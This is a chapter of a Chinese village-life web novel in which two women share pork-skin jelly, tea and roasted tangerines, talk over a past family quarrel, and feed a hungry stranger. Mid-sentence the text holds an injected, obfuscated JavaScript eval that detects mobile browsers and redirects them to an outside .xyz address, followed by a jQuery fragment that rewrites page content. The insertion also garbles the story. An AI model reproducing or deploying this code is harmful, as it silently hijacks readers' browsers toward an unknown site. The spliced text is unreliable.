62. 香醋蘸皮冻
作品:《猎户家的小娇娘又旺村啦!》 “成了,快切。”
盆里的皮冻倒扣在刀板上,完完整整地一整块,沉底的猪皮伴着绿油油的芫荽叶子露在最顶端,些许香料沫也展现在清亮的皮冻里。
苏初妍用刀背拍拍皮冻,也晃悠了两下,倒也成型了。
里面的大葱煮烂了,苏初妍用筷子捞出来。
对半破开,再片成片,码在盘子里,又翻找出了一个小碟子,只有掌心大小,再在里面倒上香醋。
“你尝尝,我都不知道淡了还是咸了。”
苏初妍拿起块皮冻,沾了沾醋,喂给孙莺吃。
“里面的猪皮都软烂了,好吃,醋也好吃。”
“那就好。”
苏初妍笑得眉眼弯弯,拿起盘子放上桌子。
晚上又再煮了个汤菜,白水煮萝卜汤,放块猪油一起炖。
萝卜出水,本就是清水烧开来煮的萝卜,若是不加些荤腥,吃完肚子不舒服。
皮冻有一大盆,苏初妍只切了一半装盘来吃,剩下的不动,由雪冻着,天气冷,不是那么容易坏。
皮冻里只有咸味,多的就是芫荽香味,其余的调味靠的就是那一小碟子里的醋还有些蒜末,辣椒也挖了勺,味道浓烈,配着有些寡淡的皮冻正好。
反正苏初妍平日里吃的味道重,尤其是这寒冬腊月,吃辣或是喝烧酒就是为了暖身子,这庄上家家户户就有几罐自家做的辣子备着,酒也不少,只是买的大多都不贵,有卖酒的来,那些酒罐子就围上一圈子的人,都是来打酒。
苏初妍也买了不少酒,赵渊要喝酒,临走前还带上了一壶酒进山,不然冷起来连个法子都没有,有酒好歹还能喝点子酒暖身。
她做饭重味,放酒的菜也不少见,有时候她也会在睡前独酌两口,睡得就无比的香甜。
“喝不喝酒?我家里有好几坛子的酒,等开了春,暖和些了,我就去包些酒曲子来酿米酒喝。”
苏初妍作势起身要去舀酒来,不过孙莺将她拦了下来。
“不喝,我吃完还要喝些茶水。”
“好,前些日子忙地里的事,回回都说要泡壶茶到田上去喝,回回都忘,现在冷了,更是忘记喝茶了,每日蜷缩在被窝里绣花。”
孙莺喝了一大碗萝卜汤,觉得心里舒坦了些。
屋外是连片的大雪,满地都是,偶有人挑着扁担路过也是穿着蓑衣,头戴斗笠,快步走过,不敢停留。
这日子过得乏味,苏初妍只靠绣绣花熬日子过,不过好在还有孙莺陪着自己吃吃喝喝,说说笑笑也就过了一天。
“吃完烤火不?在屋子里也没啥能做的事儿,无非是烤烤火,倒着睡个昏天暗地。”
孙莺吃得打嗝,还不忘去夹皮冻吃,味道倒是只剩下佐料的香辣酸,只吃得出来这皮冻弹弹滑滑的感觉。
“那好,你总是只知道烤手烤脚,我教教你怎么烤得风雅有趣,对了,明日我白日里要去做帮工,就不在家了,等这段时间过了,来我家打糍粑吃。”
苏初妍点头,旋即又想起什么来了,声音小了些。
“你那里还要不要多的人?我也想去。”
“这有啥?明日我去帮你问问东家。”
她懂苏初妍的心思,虽说两人关系不错,不过还是不能完完全全将自己的心思交托出来,有些事不便直说,不过她懂得就行。
“好,谢谢你孙莺。”
“这有啥?”
这不就是顺口的一句话?孙莺不解像苏初妍这般性子的人的心思,只能是安慰她,不然她多想。
“你定是觉得奇怪,只是不是每个人都同你一般,不是的。”
苏初妍吃得肚儿圆,瞧向窗外时总是会想起很多事来,或许如今的谨慎都是得了教训才唯唯诺诺起来。
她听过很多所谓背后的话,难过了一阵,时时不忘,每句话都会让她想起那时。
“你难过了吗?不要去想了,并非每个人都是良人,不过总有好人。”
“如今有你,有赵渊,我没那么伤心了,那些仿佛过了很久,我都快要想不起来了,我都想不起来他们长什么样子了,只是那些话还留着,也无妨,算是对我的告诫罢了。”
孙莺收拾着碗筷。
“总不能老是就这般活在旁人的话里。”
两个人待在一堆就极其易感伤,苏初妍闲说两句,也起身拾掇。
“莫要难过了。”
苏初妍接过她洗完头次还有沫子的碗,用清水再细细洗干净。
“不难过,我也不想这般,只是觉得你是个极好的人,嘴里难免就说出这番话里,若是有源头,那定是我母亲的那股性子也传给我了。”
孙莺刷锅,没炒什么菜,底下也没多少油烧黑锅,只将油洗去就好。
“那便好。”孙莺叹气,她洗完苏初妍就接着洗,她倒是先腾出手来,去架起火来。
“初妍,你难过我就难受。”
“都过去了,这些不过都是些闲话罢了。”
孙莺压灭火,只剩下炭火慢慢烘烤着。
“初妍,我同你讲,你总是觉得我每日都过得高兴,像是没什么能打败我的样子,你知道我为啥在这儿住?为啥要分家?”
烛光昏暗,往日一贯是笑脸的人现在不复从前,孙莺撑开火钳夹子,横放在火盆上。
“原先我们的住在一起,人多,地方小了,家里也穷,住的地方小了,自然也就总是吵闹,我才过门的时候还是能忍,那时候不觉得有啥,只是后来回数多了,饶是我也砸吧出些不对劲起来了。”
剥下来的橘子皮放在火钳上炕出香味来,陶土杯里灌些水,放上去等着水热了再撒些茶叶。
屋子里漫出一股暖和的馨香味道,孙莺翻动下橘子皮,里面的汁水炕干,满屋子都发出橘子香。
“嗯,后来呢?”
孙莺笑道:“后来就天天吵,为了一只鸡,一捧土都要吵闹,那时候我虽不知该如何做,只是这嘴皮子倒是练了起来,姓李的不会吵,任由这他们俩人闹,还是有次在家里我跟她打起来了,才搬了出来,从此就分了家。”
“跟你也能吵闹起来?那我倒是多少有些不信。”
孙莺嘴角始终是笑着,瞧着火,但却不仅瞧着火。
“这世上动动嘴皮子是最容易的事,不过为了这些事反倒让自个儿难受倒是最不值当的事。”
苏初妍手上还有水,放到炭火上烘烤干,手就变得暖融融。
一个橘子放在火上热,苏初妍拿了下来,剥开后里面也都烤热乎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058458|174088||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,她分给孙莺一半。
水热了,用指尖捏起一点茶叶,放进两只杯中。
“要枣子不?”
“不必了,等会儿我回家去取些牛乳来冲茶水喝,这还是主家送与我们的,说是自家小公子喝不完,分给我们喝,我多带些,你我一道喝。”
苏初妍手暖和了不少,低着脑袋摇头。
“我只喜欢单单喝一样。”
“我倒是喜欢这样搭着吃。”
“瞧,茶水煮出来了,你去拿吧,等会儿更是冷了,快些回去拿了再来。”
苏初妍翻找出一柄烛火,又罩住这火光,递给了她。
“也好。”
只是这屋子里暖和得像是春日,不过一出门这寒气就迎面打来,不禁让人头脑发昏。
苏初妍等她出了门,又将门锁上,透过门缝瞧见她渐行渐远。
火烛不禁风,要人一路用手护着,哪怕有个罩子盖着,这还是要人护着才不熄灭。
苏初妍回房,吃完了自己的那半橘子,火烤过后更是甜了起来,竟然甜到发腻,要连忙喝些茶水,一甜一苦倒是搭配。
轻轻搅动杯中的茶叶,那水就越发浑厚起来了,浓茶醇香发苦,苏初妍倒也喜欢。
只是还没送进嘴里,她就听见了敲门声。
“孙莺真快。”
苏初妍连忙喝下嘴里的茶水,将杯子放回原处,然后起身去开门,嘴里边念叨着,边透过门缝去瞧外头的人。
门外的人定不是孙莺,苏初妍第一眼就知道。
那人浑身裹得严实,破布上毛边都突出,在风雪里飘荡着,头上还戴着斗篷帽,她低着脑袋,像是要杵到地上那般。
整个人都缩在大外衣里,手掌缩进袖口里,斗篷帽正好挡住她的脸。
“谁?”
或许是这句轻语惊扰了门外人,那人抬起头来,透过缝,也瞧见了苏初妍的那双眼睛。
“饿,我饿。”她低语。
“想吃些啥?”
“我饿。”
苏初妍自然是认出这人来了,心中的惊慌也减少了几分。
“要进来不?”
远处烛光闪动,孙莺快步走来,她打探了下四周,才凑近门。
“这人咋来了?”
“谁知道?她说她饿。”苏初妍还是开了门。
“进去吧。”
孙莺推她进门,然后随手就合上了门。
苏初妍煮了碗面给她吃,没放完的臊子也结结实实往上面放了几勺,还没等她做好,这人就围着灶台转悠,若不是孙莺拦着,这人的手都要往热汤里伸去了。
才出锅的面极其烫,苏初妍放远了些,还不准她吃,只是切了些皮冻放到她手上先垫肚子。
“外面冷,姓李的问我咋回来了,我没理会他,烦人得很。”
“李大哥只是不会说话,事还是会做。”
孙莺叹气,用筷子一下一下挑着面,让面快些凉下来,只是被人眼巴巴地盯着,她着实也要快些翻动。
“罢了,不去比就成。”
面放在条凳上,她蹲着就开始大快朵颐起来。
见她吃得香,面香味也四处传来,只往鼻孔里涌,孙莺咽了咽唾沫,别过脸去。